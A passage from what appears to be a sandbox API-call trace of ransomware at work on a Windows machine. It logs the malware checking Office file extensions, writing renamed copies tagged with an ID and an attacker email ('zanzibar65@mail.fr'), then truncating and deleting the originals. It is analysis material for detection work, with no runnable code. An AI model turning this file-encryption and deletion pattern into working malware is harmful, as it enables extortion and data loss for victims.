dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.891] lstrlenW (lpString=".doc") returned 4 [0037.891] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0037.891] lstrlenW (lpString=".docx") returned 5 [0037.891] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0037.891] lstrlenW (lpString=".pdf") returned 4 [0037.891] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0037.891] lstrlenW (lpString=".xls") returned 4 [0037.891] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0037.891] lstrlenW (lpString=".xlsx") returned 5 [0037.891] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0037.891] lstrlenW (lpString=".ppt") returned 4 [0037.891] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0037.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.891] lstrlenW (lpString=".zip") returned 4 [0037.891] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0037.891] lstrlenW (lpString=".rar") returned 4 [0037.891] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0037.892] lstrlenW (lpString=".bz2") returned 4 [0037.892] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0037.892] lstrlenW (lpString=".7z") returned 3 [0037.892] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0037.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.892] lstrlenW (lpString=".dbf") returned 4 [0037.892] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0037.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.892] lstrlenW (lpString=".1cd") returned 4 [0037.892] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0037.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.892] lstrlenW (lpString=".jpg") returned 4 [0037.892] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0037.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.892] lstrlenW (lpString=".doc") returned 4 [0037.892] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0037.892] lstrlenW (lpString=".docx") returned 5 [0037.892] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0037.892] lstrlenW (lpString=".pdf") returned 4 [0037.892] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0037.892] lstrlenW (lpString=".xls") returned 4 [0037.892] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0037.892] lstrlenW (lpString=".xlsx") returned 5 [0037.892] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0037.892] lstrlenW (lpString=".ppt") returned 4 [0037.892] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0037.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.892] lstrlenW (lpString=".zip") returned 4 [0037.892] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0037.892] lstrlenW (lpString=".rar") returned 4 [0037.892] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0037.893] lstrlenW (lpString=".bz2") returned 4 [0037.893] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0037.893] lstrlenW (lpString=".7z") returned 3 [0037.893] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0037.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.893] lstrlenW (lpString=".dbf") returned 4 [0037.893] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0037.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.893] lstrlenW (lpString=".1cd") returned 4 [0037.893] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0037.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0037.893] lstrlenW (lpString=".jpg") returned 4 [0037.893] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0037.893] lstrcmpiW (lpString1=".HTM", lpString2=".html") returned -1 [0037.893] lstrlenW (lpString="README.HTM") returned 10 [0037.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0038.081] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1941) returned 1 [0038.081] CloseHandle (hObject=0x194) returned 1 [0038.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0038.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0038.081] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.081] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0038.082] GetLastError () returned 0x0 [0038.082] ReadFile (in: hFile=0x194, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x795, lpOverlapped=0x0) returned 1 [0038.093] WriteFile (in: hFile=0x1c4, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0038.094] ReadFile (in: hFile=0x194, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.094] WriteFile (in: hFile=0x1c4, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0038.094] SetEndOfFile (hFile=0x1c4) returned 1 [0038.094] CloseHandle (hObject=0x1c4) returned 1 [0038.095] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.095] SetEndOfFile (hFile=0x194) returned 1 [0038.095] CloseHandle (hObject=0x194) returned 1 [0038.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.096] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0038.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.096] lstrlenW (lpString=".doc") returned 4 [0038.096] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0038.096] lstrlenW (lpString=".docx") returned 5 [0038.096] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0038.096] lstrlenW (lpString=".pdf") returned 4 [0038.096] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0038.096] lstrlenW (lpString=".xls") returned 4 [0038.096] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0038.096] lstrlenW (lpString=".xlsx") returned 5 [0038.096] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0038.096] lstrlenW (lpString=".ppt") returned 4 [0038.096] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0038.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.096] lstrlenW (lpString=".zip") returned 4 [0038.096] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0038.096] lstrlenW (lpString=".rar") returned 4 [0038.096] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0038.096] lstrlenW (lpString=".bz2") returned 4 [0038.096] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0038.096] lstrlenW (lpString=".7z") returned 3 [0038.097] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0038.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.097] lstrlenW (lpString=".dbf") returned 4 [0038.097] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0038.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.097] lstrlenW (lpString=".1cd") returned 4 [0038.097] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0038.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.097] lstrlenW (lpString=".jpg") returned 4 [0038.097] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0038.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.097] lstrlenW (lpString=".doc") returned 4 [0038.097] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0038.097] lstrlenW (lpString=".docx") returned 5 [0038.097] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0038.097] lstrlenW (lpString=".pdf") returned 4 [0038.097] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0038.097] lstrlenW (lpString=".xls") returned 4 [0038.097] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0038.097] lstrlenW (lpString=".xlsx") returned 5 [0038.097] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0038.097] lstrlenW (lpString=".ppt") returned 4 [0038.097] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0038.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.097] lstrlenW (lpString=".zip") returned 4 [0038.097] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0038.097] lstrlenW (lpString=".rar") returned 4 [0038.097] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0038.097] lstrlenW (lpString=".bz2") returned 4 [0038.097] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0038.097] lstrlenW (lpString=".7z") returned 3 [0038.097] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0038.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.098] lstrlenW (lpString=".dbf") returned 4 [0038.098] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0038.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.098] lstrlenW (lpString=".1cd") returned 4 [0038.098] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0038.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0038.098] lstrlenW (lpString=".jpg") returned 4 [0038.098] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0038.170] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0038.170] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0038.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.170] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=913) returned 1 [0038.170] CloseHandle (hObject=0x1cc) returned 1 [0038.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0038.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.171] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.171] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0038.452] GetLastError () returned 0x0 [0038.452] ReadFile (in: hFile=0x1cc, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x391, lpOverlapped=0x0) returned 1 [0038.454] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0038.454] ReadFile (in: hFile=0x1cc, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.454] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xee, lpOverlapped=0x0) returned 1 [0038.455] SetEndOfFile (hFile=0x194) returned 1 [0038.455] CloseHandle (hObject=0x194) returned 1 [0038.455] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.456] SetEndOfFile (hFile=0x1cc) returned 1 [0038.456] CloseHandle (hObject=0x1cc) returned 1 [0038.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.457] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0038.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.457] lstrlenW (lpString=".doc") returned 4 [0038.457] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.457] lstrlenW (lpString=".docx") returned 5 [0038.457] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.457] lstrlenW (lpString=".pdf") returned 4 [0038.457] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.457] lstrlenW (lpString=".xls") returned 4 [0038.457] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.457] lstrlenW (lpString=".xlsx") returned 5 [0038.457] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.457] lstrlenW (lpString=".ppt") returned 4 [0038.457] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.457] lstrlenW (lpString=".zip") returned 4 [0038.457] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.457] lstrlenW (lpString=".rar") returned 4 [0038.457] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.457] lstrlenW (lpString=".bz2") returned 4 [0038.457] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.458] lstrlenW (lpString=".7z") returned 3 [0038.458] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.458] lstrlenW (lpString=".dbf") returned 4 [0038.458] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.458] lstrlenW (lpString=".1cd") returned 4 [0038.458] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.458] lstrlenW (lpString=".jpg") returned 4 [0038.458] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.458] lstrlenW (lpString=".doc") returned 4 [0038.458] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.458] lstrlenW (lpString=".docx") returned 5 [0038.458] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.458] lstrlenW (lpString=".pdf") returned 4 [0038.458] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.458] lstrlenW (lpString=".xls") returned 4 [0038.458] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.458] lstrlenW (lpString=".xlsx") returned 5 [0038.458] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.458] lstrlenW (lpString=".ppt") returned 4 [0038.458] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.458] lstrlenW (lpString=".zip") returned 4 [0038.458] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.458] lstrlenW (lpString=".rar") returned 4 [0038.458] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.458] lstrlenW (lpString=".bz2") returned 4 [0038.459] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.459] lstrlenW (lpString=".7z") returned 3 [0038.459] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.459] lstrlenW (lpString=".dbf") returned 4 [0038.459] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.459] lstrlenW (lpString=".1cd") returned 4 [0038.459] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.459] lstrlenW (lpString=".jpg") returned 4 [0038.459] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.459] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0038.459] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0038.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.459] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1231) returned 1 [0038.459] CloseHandle (hObject=0x1cc) returned 1 [0038.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0038.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.460] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.460] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0038.461] GetLastError () returned 0x0 [0038.461] ReadFile (in: hFile=0x1cc, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0038.463] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0038.464] ReadFile (in: hFile=0x1cc, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.464] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0038.464] SetEndOfFile (hFile=0x194) returned 1 [0038.464] CloseHandle (hObject=0x194) returned 1 [0038.465] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.465] SetEndOfFile (hFile=0x1cc) returned 1 [0038.465] CloseHandle (hObject=0x1cc) returned 1 [0038.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 